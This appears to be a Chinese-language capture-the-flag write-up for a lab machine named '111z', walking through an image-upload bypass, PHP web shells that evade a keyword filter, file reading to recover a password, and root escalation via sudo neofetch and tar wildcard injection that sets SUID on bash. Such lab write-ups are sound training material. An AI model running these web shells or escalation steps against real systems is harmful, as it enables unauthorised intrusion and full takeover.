111的处女作,非常不错,期待下一个靶机

这是他的博客https://the0n3.top/

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l       
...
192.168.205.138 08:00:27:ea:d6:99       PCS Systemtechnik GmbH
...

192.168.205.138

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.138
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

直接看80

一个在线图床的上传页,源码有提示

...
const allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
...

这个一眼前端校验,先上传一个允许的,bp抓包就可以绕过了

先尝试一个cmd.php

image-20251119174122934

被拦截了,提示被抓了关键词 phpinfo, ;

这个有两个主流的打法

第一种(读)

<?php echo implode("\n",$_GET[0]($_GET[1]))?>

这个没有被拦截,这个传上去,他会告诉你改成了什么文件

image-20251119174255204

比如我这个就是691d91116d25e.php

先读phpinfo,上传路径可以直接猜出来就是/uploads

http://192.168.205.138/uploads/691d91116d25e.php?0=phpinfo&1=999999

主要看ban的函数

image-20251119174432293

常见的都被ban了

我没啥好办法,经过尝试readfile可以读文件,读passwd文件知道了两个用户llmj,两个都没有进入家目录的权限,然后扒拉到/opt发现了一个密码

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 'http://192.168.205.138/uploads/691d91116d25e.php?0=scandir&1=/opt'
.
..
backup
llpass.txt  

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 'http://192.168.205.138/uploads/691d91116d25e.php?0=readfile&1=/opt/llpass.txt'
ll:Bp2tFMYfElkoMWlOUsOD1C30
                            

第二种(拿shell)

看了一下111的wp,他其中写到了eval不算函数,算是语言解析,所以这个是ban不了的,改些字母就绕过了

所以上传一个

<?php Eval($_POST['ant']) ?>

image-20251119174944076

691d92ad65cd1.php

打开蚁剑

image-20251119175046761

后面就可以直接读文件之类的操作拿到密码

image-20251119175150258

或者拿绕过插件拿一下shell

模式选择LD_PRELOAD就ok了,然后启动根目录改成/uploads

然后刷新/uploads的目录会多一个.antproxy.php

拿蚁剑连一手就ok了

image-20251119175548646

终端我试过了,没问题

我这里就直接ssh 密码连接了

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh ll@192.168.205.138
...
ll@111z:~$ id
uid=1000(ll) gid=1000(ll) groups=1000(ll)
ll@111z:~$ sudo -l
Matching Defaults entries for ll on 111z:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ll may run the following commands on 111z:
    (mj) NOPASSWD: /usr/bin/neofetch

没啥好说的,https://gtfobins.github.io/查表秒了

ll@111z:~$ echo 'exec /bin/sh' > /dev/shm/a
ll@111z:~$ sudo -u mj /usr/bin/neofetch --config /dev/shm/a
$ bash
mj@111z:/home/ll$ id
uid=1001(mj) gid=1001(mj) groups=1001(mj),33(www-data)
mj@111z:/home/ll$ sudo -l
Matching Defaults entries for mj on 111z:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mj may run the following commands on 111z:
    (root) NOPASSWD: /opt/backup/backup.sh
mj@111z:/home/ll$ cat /opt/backup/backup.sh
#!/bin/bash
# 网站上传文件备份脚本

cd /var/www/html/uploads
tar czf /tmp/backup.tar.gz *
echo "Backup completed"

也没啥好说的,这tar随便拼接

mj@111z:/opt$ cd /var/www/html/uploads
mj@111z:/var/www/html/uploads$ echo "" > "--checkpoint=1"
mj@111z:/var/www/html/uploads$ echo "" > "--checkpoint-action=exec=sh shell.sh"
mj@111z:/var/www/html/uploads$ echo 'chmod +s /bin/bash' >> shell.sh
mj@111z:/var/www/html/uploads$ chmod +x shell.sh
mj@111z:/var/www/html/uploads$ sudo /opt/backup/backup.sh
Backup completed
mj@111z:/var/www/html/uploads$ bash -p
bash-5.0# id
uid=1001(mj) gid=1001(mj) euid=0(root) egid=0(root) groups=0(root),33(www-data),1001(mj)
bash-5.0# cat /root/root.txt /home/mj/user.txt 
flag{root-2a7f2ddaed104d739e85e9857ab8fd04}
flag{user-5450dba90b514d69935be5eafbfd0077}